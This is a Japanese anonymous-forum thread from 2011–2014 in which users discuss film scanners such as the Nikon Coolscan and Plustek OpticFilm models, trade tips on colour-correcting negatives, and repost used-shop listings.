ネガ写真1枚のスキャンに、(露出調整と本スキャンで)3分掛かる。
じっくりやるわ…
186 :
名無しさん@お腹いっぱい。:2011/04/17(日) 13:50:50.63 ID:Q3K0XGTo
SUPER COOLSCAN 5000 ED 新入荷!(5月24日)
【種別】フィルムスキャナ【対応】USB2.0(外付)【性能】スキャン時間 約20秒(35mmフィルム、MA-21使用、4000dpi) USB2.0接続
【付属品】揃っています。[使用説明書、クイックスタートガイド、スライドマウントアダプタ(MA-21)、ストリップフィルムアダプタ(SA-21)、
Nikon Scan CD-ROM、リファレンスマニュアル/スキャナ簡単操作ガイドCD-ROM、画像処理アプリケーションCD-ROM(AdobePhotoshopElements)、
NikonView CD-ROM、NikonViewリファレンスマニュアルCD-ROM、電源コード、USBケーブル]が付属。
中古保証1ヶ月間 プレミアムワランティ(長期延長保証)対象商品 \49,800
朝一だったのに従業員間での開店前の連絡で購入済みみたいだった酷いな。松○様購入してるって。ポロリ。
SUPER COOLSCAN 5000 ED 新入荷!(8月25日)
【種別】フィルムスキャナ【対応】USB2.0(外付)【性能】スキャン時間 約20秒(35mmフィルム、MA-21使用、4000dpi) USB2.0接続
【付属品】揃っています。[使用説明書、クイックスタートガイド、スライドマウントアダプタ(MA-21)、ストリップフィルムアダプタ(SA-21)、
Nikon Scan CD-ROM、リファレンスマニュアル/スキャナ簡単操作ガイドCD-ROM、画像処理アプリケーションCD-ROM(AdobePhotoshopElements)、
NikonView CD-ROM、NikonViewリファレンスマニュアルCD-ROM、電源コード、USBケーブル]が付属。
中古保証1ヶ月間 プレミアムワランティ(長期延長保証)対象商品 \49,800
手に負えなかったんだろうなw
190 :
名無しさん@お腹いっぱい。:2011/11/06(日) 03:55:58.13 ID:8C6w4pfD
ニコンの5000EDを使い始めたんだけど、2点問題が。。。
・スキャンしたネガがとても青っぽくなるけれど色々補正するなら、最初にアナログゲインを弄れば良いらしい
だけど、オレンジベースの色をどう抜けばいいのか。
・シルバーファストでコマ間のフレームがほとんど真ん中に来てしまう。
コマ移動はどうすれば。。
サンワのこないだ出たやつ買っちゃったw
まだ何も取り込んでないw
むしろこのまま忘れ去るかもw
>190
スキャンソフトはオレンジベースの色込みで自動補正してる。
だからゲインいじっても常にいい色が出るとは限らない
ポジ使え
194 :
名無しさん@お腹いっぱい。:2012/02/11(土) 13:11:00.19 ID:9XnNcz7d
35mmのネガをスキャナーで取り込もうと思うのですが、画質は相当劣化しますか?
コンデジレベルの画質で取り込めたらOKなんですが
上にもあるがネガのスキャンは画質よりも色が問題。
今まで使った中ではエプソンとミノルタはいまいち、ニコンはかなりマシだった。
スキャナーがフィルム対応じゃないんだけど
LEDライト使って透過装置作れば読み取れますか?
本体の照明を切って、ライトボックス乗っけちゃう人いるみたいね。
>194
コンデジレベルだったら、まさに1万円前後で売られている安フィルムスキャナーが
コンデジの部品使った撮影装置ですよー。
安くてまあまあの機種ってどれでしょうか
フレックスタイトがオヌヌメ
>>199 200万が安いと思う方とは話が合いませんね
GT-X970とopticfilmの8200iaiどちらかを迷ってるんですが、8200iaiって使用感などはどうなんでしょう?値段が高い割には利用者が少ないような…。
>>203 ご親切にどうもありがとうございます
でもサンプルを見つけられません・・・
COOLSCAN V ED 新入荷!(7月5日)
【種別】フィルムスキャナ【対応】USB2.0(外付)【性能】・35mmフィルム APS フィルム(カラー、ポジ/ネガ)、プレパラート(26×76mm、厚さ0.8~1.5mm)
解像度:4,000dpi・ニッコールEDレンズを使用・対応OS:Windows XP/2000/Me/98SE、インターフェース:USB 2.0(Hi-Speed)
【備考】天板にへこみ有り【付属品】揃っています。[使用説明書、クイックスタートガイド、ストリップフィルムアダプタSA-21、
スライドマウントアダプタMA-21、Nikon Scan CD-ROM、Nikon View CD-ROM、Nikon Scan Reference Manual/Easy Scanning Guide CD-ROM、
画像処理アプリケーション CD-ROM、Nikon View Reference Manual CD-ROM、電源コード、USB ケーブル]が付属。
中古保証1ヶ月間 プレミアムワランティ(長期延長保証)対象商品 \27,300
COOLSCAN 4 ED (LS-40ED) 新入荷!(8月18日)
【種別】フィルムスキャナ【対応】USB(外付)【性能】・USB1.1接続 フィルムスキャナ ・35mmネガポジ(2,870×4,203)/APS(2,120×3,237))2900dpi 12bit
/R, G, B各色・Win98、Me、2000【欠品】[PhotoShop LE CD-ROM(シリアルNo付)]欠品。【付属品】[取扱説明書、スライドマウントアダプタ、
フィルムストリップホルダ、フィルムストリップアダプタ、Nikon Scan 3 CD-ROM、Nikon Scan3 Software Mamual CD-ROM、電源コード、USBケーブル]のみ付属。
中古保証1ヶ月間 プレミアムワランティ(長期延長保証)対象商品 \15,500 1 2131089506447 秋駅前
新製品あげ
208 :
名無しさん@お腹いっぱい。:2012/09/02(日) 10:14:37.87 ID:dz3VCq2c
あげ
209 :
名無しさん@お腹いっぱい。:2012/09/06(木) 21:36:30.61 ID:gJ2T0SG7
あこ
>>202 8200iaiは付属ソフトが神性能。
取り込んだ後にフォトショで色調補正やゴミ取りする必要がほぼ無い。
また、フラットヘッドではないので、ピントを外しにくい=スキャンミスが少ない。
この点でGT-X970より上。
ただ、GT-X970のが放置できるから
利便性まで加味すると甲乙付け難いね。
adobe祭りでここが賑わうかと思えばそうでもないのか
213 :
名無しさん@お腹いっぱい。:2013/03/11(月) 00:50:57.33 ID:PmT2Gf9p
ケンコーの1400さげ
COOLSCAN V ED持ってるんだけど、まだ欲しい人いるのかな?
捨てるのも勿体ないしオークションに出そうかと思っているのだが
需要あるの??
>>215 ありがとう。動作は一通り確認して出してみるよ。
持ってるソフトがvuescanだからそれでしか評価できないけど。
ココ書き込み少ないのはナゼ?
プリンター板だからじゃないのかな?
大手メーカーが市場から撤退してしまって魅力的な製品がない。
219 :
名無しさん@お腹いっぱい。:2014/06/24(火) 22:53:43.75 ID:p7iHJy2m
221 :
名無しさん@お腹いっぱい。:
あれあれ、ぜんぜん話が盛り上がらないね。
エプソンの上位機種買おうかと思うけど、値段が落ちてこないし。